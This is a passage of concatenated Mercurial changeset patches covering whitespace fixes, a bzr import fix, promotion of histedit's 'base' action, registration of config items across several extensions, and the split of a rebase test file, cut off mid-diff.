                            fcl.flags()]
-        self._stateextras[fd] = { 'ancestorlinknode' : hex(fca.node()) }
+        self._stateextras[fd] = {'ancestorlinknode': hex(fca.node())}
         self._dirty = True
 
     def __contains__(self, dfile):
@@ -864,7 +864,7 @@
                 fla = ma.flags(f)
                 nol = 'l' not in fl1 + fl2 + fla
                 if n2 == a and fl2 == fla:
-                    actions[f] = ('k' , (), "remote unchanged")
+                    actions[f] = ('k', (), "remote unchanged")
                 elif n1 == a and fl1 == fla: # local unchanged - use remote
                     if n1 == n2: # optimization: keep local content
                         actions[f] = ('e', (fl2,), "update permissions")
diff --git a/mercurial/progress.py b/mercurial/progress.py
--- a/mercurial/progress.py
+++ b/mercurial/progress.py
@@ -174,7 +174,7 @@
                 amt -= progwidth
                 bar = (' ' * int(progwidth - abs(amt)) + '<=>' +
                        ' ' * int(abs(amt)))
-            prog = ''.join(('[', bar , ']'))
+            prog = ''.join(('[', bar, ']'))
             out = spacejoin(head, prog, tail)
         else:
             out = spacejoin(head, tail)
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507230731 14400
#      Thu Oct 05 15:12:11 2017 -0400
# Node ID 323bed58cf57e5f773aa55c06ccd767b9e7ec166
# Parent  a57c938e7ac8f391a62de6c7c4d5cf0e81b2dcf4
test-annotate: fix up expected output for pure

This is just a side effect of surfacing the "revisions were skipped"
state in the blame output.

Differential Revision: https://phab.mercurial-scm.org/D956

diff --git a/tests/test-annotate.t b/tests/test-annotate.t
--- a/tests/test-annotate.t
+++ b/tests/test-annotate.t
@@ -261,8 +261,8 @@
 
   $ hg annotate -nlf b --skip 6
   0 a:1: a
-  0 a:1: z (pure !)
-  1 a:2* z
+  1 a:2* z (no-pure !)
+  0 a:1* z (pure !)
   1 a:3: a
   3 b:4: b4
   4 b:5: c
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1507164524 0
#      Thu Oct 05 00:48:44 2017 +0000
# Node ID 6bda8a9d8431bff87442c7934d361b4747692d11
# Parent  323bed58cf57e5f773aa55c06ccd767b9e7ec166
convert: fix the RevisionSpec import in the bzr module

This import was failing (because its invalid) which was resulting in
the following tests failing with chg running:

 - test-convert-bzr.t
 - test-convert-bzr-directories.t
 - test-convert-bzr-ghosts.t
 - test-convert-bzr-treeroot.t
 - test-convert-bzr-114.t
 - test-convert-bzr-merges.t

This commit fixes the import which in turn fixes the tests.

Test Plan:
Ran the aforementioned tests with and without '--chg' option.

Differential Revision: https://phab.mercurial-scm.org/D936

diff --git a/hgext/convert/bzr.py b/hgext/convert/bzr.py
--- a/hgext/convert/bzr.py
+++ b/hgext/convert/bzr.py
@@ -30,11 +30,12 @@
     import bzrlib.bzrdir
     import bzrlib.errors
     import bzrlib.revision
-    import bzrlib.revisionspec.RevisionSpec
+    import bzrlib.revisionspec
     bzrdir = bzrlib.bzrdir
     errors = bzrlib.errors
     revision = bzrlib.revision
     revisionspec = bzrlib.revisionspec
+    revisionspec.RevisionSpec
 except ImportError:
     pass
 
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1507240585 0
#      Thu Oct 05 21:56:25 2017 +0000
# Node ID 270e344a6c7488080687b3f9c9ae718da06c71dc
# Parent  6bda8a9d8431bff87442c7934d361b4747692d11
histedit: removing the experimental config 'histeditng'

This config has been around for about 2 years now. So, it can be
assumed to be stable. Therefore, I am removing the config. This also makes the
test 'test-histedit-base.t' compatible with chg.

Test Plan:
 - Ran the test 'test-histedit-base.t' with and without '--chg' option.
 - Ran all the other tests without '--chg' option.
 - Checked the output of 'hg help histedit'.

Differential Revision: https://phab.mercurial-scm.org/D942

diff --git a/hgext/histedit.py b/hgext/histedit.py
--- a/hgext/histedit.py
+++ b/hgext/histedit.py
@@ -39,6 +39,7 @@
  #  r, roll = like fold, but discard this commit's description and date
  #  d, drop = remove commit from history
  #  m, mess = edit commit message without changing commit content
+ #  b, base = checkout changeset and apply further changesets from there
  #
 
 In this file, lines beginning with ``#`` are ignored. You must specify a rule
@@ -61,6 +62,7 @@
  #  r, roll = like fold, but discard this commit's description and date
  #  d, drop = remove commit from history
  #  m, mess = edit commit message without changing commit content
+ #  b, base = checkout changeset and apply further changesets from there
  #
 
 At which point you close the editor and ``histedit`` starts working. When you
@@ -815,6 +817,8 @@
             replacements.append((ich, (n,)))
         return repo[n], replacements
 
+@action(['base', 'b'],
+        _('checkout changeset and apply further changesets from there'))
 class base(histeditaction):
 
     def run(self):
@@ -905,7 +909,6 @@
         raise error.Abort(msg, hint=hint)
     return repo.lookup(roots[0])
 
-
 @command('histedit',
     [('', 'commands', '',
       _('read history edits from the specified file'), _('FILE')),
@@ -938,6 +941,8 @@
 
     - `edit` to edit this changeset (preserving date)
 
+    - `base` to checkout changeset and apply further changesets from there
+
     There are a number of ways to select the root changeset:
 
     - Specify ANCESTOR directly
@@ -1631,7 +1636,3 @@
          _("use 'hg histedit --continue' or 'hg histedit --abort'")])
     cmdutil.afterresolvedstates.append(
         ['histedit-state', _('hg histedit --continue')])
-    if ui.configbool("experimental", "histeditng"):
-        globals()['base'] = action(['base', 'b'],
-            _('checkout changeset and apply further changesets from there')
-        )(base)
diff --git a/tests/test-histedit-arguments.t b/tests/test-histedit-arguments.t
--- a/tests/test-histedit-arguments.t
+++ b/tests/test-histedit-arguments.t
@@ -70,6 +70,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
@@ -305,6 +306,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
@@ -541,6 +543,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
diff --git a/tests/test-histedit-base.t b/tests/test-histedit-base.t
--- a/tests/test-histedit-base.t
+++ b/tests/test-histedit-base.t
@@ -5,8 +5,6 @@
   > tglog = log -G --template "{rev}:{node}:{phase} '{desc}'\n"
   > [extensions]
   > histedit=
-  > [experimental]
-  > histeditng=True
   > EOF
 
 Create repo a:
@@ -238,15 +236,6 @@
   hg: parse error: base "d273e35dcdf2" changeset was an edited list candidate
   (base must only use unlisted changesets)
 
-  $ hg --config experimental.histeditng=False histedit 5 --commands - 2>&1 << EOF | fixbundle
-  > base cd010b8cd998 A
-  > pick d273e35dcdf2 B
-  > pick 03772da75548 X
-  > pick b2f90fd8aa85 I
-  > pick e8c55b19d366 J
-  > EOF
-  hg: parse error: unknown action "base"
-
   $ hg tglog
   @  8:e8c55b19d366b335626e805484110d1d5f6f2ea3:draft 'J'
   |
diff --git a/tests/test-histedit-bookmark-motion.t b/tests/test-histedit-bookmark-motion.t
--- a/tests/test-histedit-bookmark-motion.t
+++ b/tests/test-histedit-bookmark-motion.t
@@ -76,6 +76,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
@@ -132,6 +133,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
diff --git a/tests/test-histedit-commute.t b/tests/test-histedit-commute.t
--- a/tests/test-histedit-commute.t
+++ b/tests/test-histedit-commute.t
@@ -70,6 +70,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
@@ -348,6 +349,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
diff --git a/tests/test-histedit-edit.t b/tests/test-histedit-edit.t
--- a/tests/test-histedit-edit.t
+++ b/tests/test-histedit-edit.t
@@ -476,6 +476,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, fold = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
diff --git a/tests/test-histedit-obsolete.t b/tests/test-histedit-obsolete.t
--- a/tests/test-histedit-obsolete.t
+++ b/tests/test-histedit-obsolete.t
@@ -132,6 +132,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
diff --git a/tests/test-histedit-outgoing.t b/tests/test-histedit-outgoing.t
--- a/tests/test-histedit-outgoing.t
+++ b/tests/test-histedit-outgoing.t
@@ -52,6 +52,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
@@ -86,6 +87,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
@@ -112,6 +114,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786784 -7200
#      Fri Jun 30 03:39:44 2017 +0200
# Node ID fcf6d1651ff32746ee02eff5685a43831d371ffe
# Parent  270e344a6c7488080687b3f9c9ae718da06c71dc
configitems: register the 'experimental.allowdivergence' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -155,6 +155,9 @@
 coreconfigitem('email', 'method',
     default='smtp',
 )
+coreconfigitem('experimental', 'allowdivergence',
+    default=False,
+)
 coreconfigitem('experimental', 'bundle-phases',
     default=False,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786909 -7200
#      Fri Jun 30 03:41:49 2017 +0200
# Node ID eb1517776f8a5a98788389700c003689c03ed19c
# Parent  fcf6d1651ff32746ee02eff5685a43831d371ffe
configitems: register the 'experimental.nonnormalparanoidcheck' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -194,6 +194,9 @@
 coreconfigitem('experimental', 'editortmpinhg',
     default=False,
 )
+coreconfigitem('experimental', 'nonnormalparanoidcheck',
+    default=False,
+)
 coreconfigitem('experimental', 'stabilization',
     default=list,
     alias=[('experimental', 'evolution')],
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786926 -7200
#      Fri Jun 30 03:42:06 2017 +0200
# Node ID a5a810df4c815ba7f1e4f820504459a52ec39b2a
# Parent  eb1517776f8a5a98788389700c003689c03ed19c
configitems: register the 'experimental.rebaseskipobsolete' config

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -73,6 +73,13 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('experimental', 'rebaseskipobsolete',
+    default=True,
+)
+
 def _nothingtorebase():
     return 1
 
@@ -307,8 +314,7 @@
         destmap:        {srcrev: destrev} destination revisions
         """
         self.obsoletenotrebased = {}
-        if not self.ui.configbool('experimental', 'rebaseskipobsolete',
-                                  default=True):
+        if not self.ui.configbool('experimental', 'rebaseskipobsolete'):
             return
         obsoleteset = set(obsoleterevs)
         self.obsoletenotrebased = _computeobsoletenotrebased(self.repo,
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786345 -7200
#      Fri Jun 30 03:32:25 2017 +0200
# Node ID c4a2db2cc0fbe473a7649b591c55e7696638e03e
# Parent  a5a810df4c815ba7f1e4f820504459a52ec39b2a
configitems: register the 'commands.rebase.requiredest' config

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -76,6 +76,10 @@
 configtable = {}
 configitem = registrar.configitem(configtable)
 
+configitem('commands', 'rebase.requiredest',
+            default=False,
+)
+
 configitem('experimental', 'rebaseskipobsolete',
     default=True,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787026 -7200
#      Fri Jun 30 03:43:46 2017 +0200
# Node ID bbb5687e5140869ef504720317147dc229da1248
# Parent  c4a2db2cc0fbe473a7649b591c55e7696638e03e
configitems: register the 'perf.stub' config

diff --git a/contrib/perf.py b/contrib/perf.py
--- a/contrib/perf.py
+++ b/contrib/perf.py
@@ -139,6 +139,16 @@
             return func
         return decorator
 
+try:
+    import registrar
+    configtable = {}
+    configitem = registrar.configitem(configtable)
+    configitem('perf', 'stub',
+        default=False,
+    )
+except (ImportError, AttributeError):
+    pass
+
 def getlen(ui):
     if ui.configbool("perf", "stub"):
         return lambda x: 1
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787013 -7200
#      Fri Jun 30 03:43:33 2017 +0200
# Node ID 6d1b0970f80c55692f43d2b466f017f44f0ea441
# Parent  bbb5687e5140869ef504720317147dc229da1248
configitems: register the 'pager.attend' config

diff --git a/hgext/pager.py b/hgext/pager.py
--- a/hgext/pager.py
+++ b/hgext/pager.py
@@ -28,6 +28,7 @@
     commands,
     dispatch,
     extensions,
+    registrar,
     )
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
@@ -36,13 +37,20 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('pager', 'attend',
+        default=lambda: attended,
+)
+
 def uisetup(ui):
 
     def pagecmd(orig, ui, options, cmd, cmdfunc):
         auto = options['pager'] == 'auto'
         if auto and not ui.pageractive:
             usepager = False
-            attend = ui.configlist('pager', 'attend', attended)
+            attend = ui.configlist('pager', 'attend')
             ignore = ui.configlist('pager', 'ignore')
             cmds, _ = cmdutil.findcmd(cmd, commands.table)
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787059 -7200
#      Fri Jun 30 03:44:19 2017 +0200
# Node ID 18cd210535b3d8dc1487a866f9e0553c4f1aa80e
# Parent  6d1b0970f80c55692f43d2b466f017f44f0ea441
configitems: register the 'shelve.maxbackups' config

diff --git a/hgext/shelve.py b/hgext/shelve.py
--- a/hgext/shelve.py
+++ b/hgext/shelve.py
@@ -63,6 +63,13 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('shelve', 'maxbackups',
+    default=10,
+)
+
 backupdir = 'shelve-backup'
 shelvedir = 'shelved'
 shelvefileextensions = ['hg', 'patch', 'oshelve']
@@ -271,7 +278,7 @@
 
 def cleanupoldbackups(repo):
     vfs = vfsmod.vfs(repo.vfs.join(backupdir))
-    maxbackups = repo.ui.configint('shelve', 'maxbackups', 10)
+    maxbackups = repo.ui.configint('shelve', 'maxbackups')
     hgfiles = [f for f in vfs.listdir()
                if f.endswith('.' + patchextension)]
     hgfiles = sorted([(vfs.stat(f).st_mtime, f) for f in hgfiles])
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787057 -7200
#      Fri Jun 30 03:44:17 2017 +0200
# Node ID f9734580f2b624dab3becb2e21ea3fa9bc137a83
# Parent  18cd210535b3d8dc1487a866f9e0553c4f1aa80e
configitems: register the 'share.pool' config

diff --git a/hgext/share.py b/hgext/share.py
--- a/hgext/share.py
+++ b/hgext/share.py
@@ -63,6 +63,13 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('share', 'pool',
+    default=None,
+)
+
 @command('share',
     [('U', 'noupdate', None, _('do not create a working directory')),
      ('B', 'bookmarks', None, _('also share bookmarks')),
@@ -128,7 +135,7 @@
 
 # Wrap clone command to pass auto share options.
 def clone(orig, ui, source, *args, **opts):
-    pool = ui.config('share', 'pool', None)
+    pool = ui.config('share', 'pool')
     if pool:
         pool = util.expandpath(pool)
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787058 -7200
#      Fri Jun 30 03:44:18 2017 +0200
# Node ID 308aa280ed82cdd7ccb863053a7dacdc11c42987
# Parent  f9734580f2b624dab3becb2e21ea3fa9bc137a83
configitems: register the 'share.poolnaming' config

diff --git a/hgext/share.py b/hgext/share.py
--- a/hgext/share.py
+++ b/hgext/share.py
@@ -69,6 +69,9 @@
 configitem('share', 'pool',
     default=None,
 )
+configitem('share', 'poolnaming',
+    default='identity',
+)
 
 @command('share',
     [('U', 'noupdate', None, _('do not create a working directory')),
@@ -141,7 +144,7 @@
 
     opts[r'shareopts'] = {
         'pool': pool,
-        'mode': ui.config('share', 'poolnaming', 'identity'),
+        'mode': ui.config('share', 'poolnaming'),
     }
 
     return orig(ui, source, *args, **opts)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786955 -7200
#      Fri Jun 30 03:42:35 2017 +0200
# Node ID b8f74c4d188f9c581923c81635b048cd07a15cd4
# Parent  308aa280ed82cdd7ccb863053a7dacdc11c42987
configitems: register the 'hgk.path' config

diff --git a/hgext/hgk.py b/hgext/hgk.py
--- a/hgext/hgk.py
+++ b/hgext/hgk.py
@@ -61,6 +61,13 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('hgk', 'path',
+    default='hgk',
+)
+
 @command('debug-diff-tree',
     [('p', 'patch', None, _('generate patch')),
     ('r', 'recursive', None, _('recursive')),
@@ -346,6 +353,6 @@
     if repo.filtername is None:
         optstr += '--hidden'
 
-    cmd = ui.config("hgk", "path", "hgk") + " %s %s" % (optstr, " ".join(etc))
+    cmd = ui.config("hgk", "path") + " %s %s" % (optstr, " ".join(etc))
     ui.debug("running %s\n" % cmd)
     ui.system(cmd, blockedtag='hgk_view')
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786970 -7200
#      Fri Jun 30 03:42:50 2017 +0200
# Node ID 6c705bf6a8ff9cd91769e547b3d8c2dae5c5c9c5
# Parent  b8f74c4d188f9c581923c81635b048cd07a15cd4
configitems: register the 'keywordset.svn' config

diff --git a/hgext/keyword.py b/hgext/keyword.py
--- a/hgext/keyword.py
+++ b/hgext/keyword.py
@@ -143,6 +143,12 @@
 
 templatefilter = registrar.templatefilter()
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('keywordset', 'svn',
+    default=False,
+)
 # date like in cvs' $Date
 @templatefilter('utcdate')
 def utcdate(text):
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786953 -7200
#      Fri Jun 30 03:42:33 2017 +0200
# Node ID b0c42fec8dc28dec5408c0ec506359afc64e4915
# Parent  6c705bf6a8ff9cd91769e547b3d8c2dae5c5c9c5
configitems: register the 'gpg.cmd' config

diff --git a/hgext/gpg.py b/hgext/gpg.py
--- a/hgext/gpg.py
+++ b/hgext/gpg.py
@@ -30,6 +30,13 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('gpg', 'cmd',
+    default='gpg',
+)
+
 class gpg(object):
     def __init__(self, path, key=None):
         self.path = path
@@ -91,7 +98,7 @@
 
 def newgpg(ui, **opts):
     """create a new gpg instance"""
-    gpgpath = ui.config("gpg", "cmd", "gpg")
+    gpgpath = ui.config("gpg", "cmd")
     gpgkey = opts.get('key')
     if not gpgkey:
         gpgkey = ui.config("gpg", "key", None)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786954 -7200
#      Fri Jun 30 03:42:34 2017 +0200
# Node ID d54526c257afa33b7624f0b94c16822bcbd08df1
# Parent  b0c42fec8dc28dec5408c0ec506359afc64e4915
configitems: register the 'gpg.key' config

diff --git a/hgext/gpg.py b/hgext/gpg.py
--- a/hgext/gpg.py
+++ b/hgext/gpg.py
@@ -36,6 +36,9 @@
 configitem('gpg', 'cmd',
     default='gpg',
 )
+configitem('gpg', 'key',
+    default=None,
+)
 
 class gpg(object):
     def __init__(self, path, key=None):
@@ -101,7 +104,7 @@
     gpgpath = ui.config("gpg", "cmd")
     gpgkey = opts.get('key')
     if not gpgkey:
-        gpgkey = ui.config("gpg", "key", None)
+        gpgkey = ui.config("gpg", "key")
     return gpg(gpgpath, gpgkey)
 
 def sigwalk(repo):
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786570 -7200
#      Fri Jun 30 03:36:10 2017 +0200
# Node ID 0d5a1175d0f94045d0ffb33740ff0137cbebc76b
# Parent  d54526c257afa33b7624f0b94c16822bcbd08df1
configitems: register the 'convert.p4.encoding' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -97,6 +97,9 @@
 configitem('convert', 'localtimezone',
     default=False,
 )
+configitem('convert', 'p4.encoding',
+    default=lambda: convcmd.orig_encoding,
+)
 configitem('convert', 'p4.startrev',
     default=0,
 )
diff --git a/hgext/convert/p4.py b/hgext/convert/p4.py
--- a/hgext/convert/p4.py
+++ b/hgext/convert/p4.py
@@ -44,9 +44,6 @@
 
 class p4_source(common.converter_source):
     def __init__(self, ui, path, revs=None):
-        # avoid import cycle
-        from . import convcmd
-
         super(p4_source, self).__init__(ui, path, revs=revs)
 
         if "/" in path and not path.startswith('//'):
@@ -56,8 +53,7 @@
         common.checktool('p4', abort=False)
 
         self.revmap = {}
-        self.encoding = self.ui.config('convert', 'p4.encoding',
-                                       default=convcmd.orig_encoding)
+        self.encoding = self.ui.config('convert', 'p4.encoding')
         self.re_type = re.compile(
             "([a-z]+)?(text|binary|symlink|apple|resource|unicode|utf\d+)"
             "(\+\w+)?$")
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507261310 25200
#      Thu Oct 05 20:41:50 2017 -0700
# Node ID 8cef8f7d51d0f1e99889779ec1320d5c9c3b91de
# Parent  0d5a1175d0f94045d0ffb33740ff0137cbebc76b
test-rebase-base: clarify it is about the "--base" flag

It happened several times that people use `test-rebase-base.t` as a general
purposed test file for rebase. But it is intended to be only related to the
`--base` flag. This patch split, renamed the test, and added a note to
clarify.

Differential Revision: https://phab.mercurial-scm.org/D975

diff --git a/tests/test-rebase-base.t b/tests/test-rebase-base-flag.t
rename from tests/test-rebase-base.t
rename to tests/test-rebase-base-flag.t
--- a/tests/test-rebase-base.t
+++ b/tests/test-rebase-base-flag.t
@@ -1,3 +1,6 @@
+Test the "--base" flag of the rebase command. (Tests unrelated to the "--base"
+flag should probably live in somewhere else)
+
   $ cat >> $HGRCPATH <<EOF
   > [extensions]
   > rebase=
@@ -379,40 +382,3 @@
    /
   o  0: A
   
-Rebasing using a single transaction
-
-  $ hg init singletr && cd singletr
-  $ cat >> .hg/hgrc <<EOF
-  > [rebase]
-  > singletransaction=True
-  > EOF
-  $ hg debugdrawdag <<'EOF'
-  >   Z
-  >   |
-  >   | D
-  >   | |
-  >   | C
-  >   | |
-  >   Y B
-  >   |/
-  >   A
-  > EOF
-- We should only see two status stored messages. One from the start, one from
-- the end.
-  $ hg rebase --debug -b D -d Z | grep 'status stored'
-  rebase status stored
-  rebase status stored
-  $ hg tglog
-  o  5: D
-  |
-  o  4: C
-  |
-  o  3: B
-  |
-  o  2: Z
-  |
-  o  1: Y
-  |
-  o  0: A
-  
-  $ cd ..
diff --git a/tests/test-rebase-base.t b/tests/test-rebase-transaction.t
copy from tests/test-rebase-base.t
copy to tests/test-rebase-transaction.t
--- a/tests/test-rebase-base.t
+++ b/tests/test-rebase-transaction.t
@@ -10,375 +10,6 @@
   > tglog = log -G --template "{rev}: {desc}"
   > EOF
 
-  $ rebasewithdag() {
-  >   N=`$PYTHON -c "print($N+1)"`
-  >   hg init repo$N && cd repo$N
-  >   hg debugdrawdag
-  >   hg rebase "$@" > _rebasetmp
-  >   r=$?
-  >   grep -v 'saved backup bundle' _rebasetmp
-  >   [ $r -eq 0 ] && hg tglog
-  >   cd ..
-  >   return $r
-  > }
-
-Single branching point, without merge:
-
-  $ rebasewithdag -b D -d Z <<'EOS'
-  >     D E
-  >     |/
-  > Z B C   # C: branching point, E should be picked
-  >  \|/    # B should not be picked
-  >   A
-  >   |
-  >   R
-  > EOS
-  rebasing 3:d6003a550c2c "C" (C)
-  rebasing 5:4526cf523425 "D" (D)
-  rebasing 6:b296604d9846 "E" (E tip)
-  o  6: E
-  |
-  | o  5: D
-  |/
-  o  4: C
-  |
-  o  3: Z
-  |
-  | o  2: B
-  |/
-  o  1: A
-  |
-  o  0: R
-  
-Multiple branching points caused by selecting a single merge changeset:
-
-  $ rebasewithdag -b E -d Z <<'EOS'
-  >     E
-  >    /|
-  >   B C D  # B, C: multiple branching points
-  >   | |/   # D should not be picked
-  > Z | /
-  >  \|/
-  >   A
-  >   |
-  >   R
-  > EOS
-  rebasing 2:c1e6b162678d "B" (B)
-  rebasing 3:d6003a550c2c "C" (C)
-  rebasing 6:54c8f00cb91c "E" (E tip)
-  o    6: E
-  |\
-  | o  5: C
-  | |
-  o |  4: B
-  |/
-  o  3: Z
-  |
-  | o  2: D
-  |/
-  o  1: A
-  |
-  o  0: R
-  
-Rebase should not extend the "--base" revset using "descendants":
-
-  $ rebasewithdag -b B -d Z <<'EOS'
-  >     E
-  >    /|
-  > Z B C  # descendants(B) = B+E. With E, C will be included incorrectly
-  >  \|/
-  >   A
-  >   |
-  >   R
-  > EOS
-  rebasing 2:c1e6b162678d "B" (B)
-  rebasing 5:54c8f00cb91c "E" (E tip)
-  o    5: E
-  |\
-  | o  4: B
-  | |
-  | o  3: Z
-  | |
-  o |  2: C
-  |/
-  o  1: A
-  |
-  o  0: R
-  
-Rebase should not simplify the "--base" revset using "roots":
-
-  $ rebasewithdag -b B+E -d Z <<'EOS'
-  >     E
-  >    /|
-  > Z B C  # roots(B+E) = B. Without E, C will be missed incorrectly
-  >  \|/
-  >   A
-  >   |
-  >   R
-  > EOS
-  rebasing 2:c1e6b162678d "B" (B)
-  rebasing 3:d6003a550c2c "C" (C)
-  rebasing 5:54c8f00cb91c "E" (E tip)
-  o    5: E
-  |\
-  | o  4: C
-  | |
-  o |  3: B
-  |/
-  o  2: Z
-  |
-  o  1: A
-  |
-  o  0: R
-  
-The destination is one of the two branching points of a merge:
-
-  $ rebasewithdag -b F -d Z <<'EOS'
-  >     F
-  >    / \
-  >   E   D
-  >  /   /
-  > Z   C
-  >  \ /
-  >   B
-  >   |
-  >   A
-  > EOS
-  nothing to rebase
-  [1]
-
-Multiple branching points caused by multiple bases (issue5420):
-
-  $ rebasewithdag -b E1+E2+C2+B1 -d Z <<'EOS'
-  >   Z    E2
-  >   |   /
-  >   F E1 C2
-  >   |/  /
-  >   E C1 B2
-  >   |/  /
-  >   C B1
-  >   |/
-  >   B
-  >   |
-  >   A
-  >   |
-  >   R
-  > EOS
-  rebasing 3:a113dbaa660a "B1" (B1)
-  rebasing 5:06ce7b1cc8c2 "B2" (B2)
-  rebasing 6:0ac98cce32d3 "C1" (C1)
-  rebasing 8:781512f5e33d "C2" (C2)
-  rebasing 9:428d8c18f641 "E1" (E1)
-  rebasing 11:e1bf82f6b6df "E2" (E2)
-  o  12: E2
-  |
-  o  11: E1
-  |
-  | o  10: C2
-  | |
-  | o  9: C1
-  |/
-  | o  8: B2
-  | |
-  | o  7: B1
-  |/
-  o  6: Z
-  |
-  o  5: F
-  |
-  o  4: E
-  |
-  o  3: C
-  |
-  o  2: B
-  |
-  o  1: A
-  |
-  o  0: R
-  
-Multiple branching points with multiple merges:
-
-  $ rebasewithdag -b G+P -d Z <<'EOS'
-  > G   H   P
-  > |\ /|   |\
-  > F E D   M N
-  >  \|/|  /| |\
-  > Z C B I J K L
-  >  \|/  |/  |/
-  >   A   A   A
-  > EOS
-  rebasing 2:dc0947a82db8 "C" (C)
-  rebasing 8:4e4f9194f9f1 "D" (D)
-  rebasing 9:03ca77807e91 "E" (E)
-  rebasing 10:afc707c82df0 "F" (F)
-  rebasing 13:690dfff91e9e "G" (G)
-  rebasing 14:2893b886bb10 "H" (H)
-  rebasing 3:08ebfeb61bac "I" (I)
-  rebasing 4:a0a5005cec67 "J" (J)
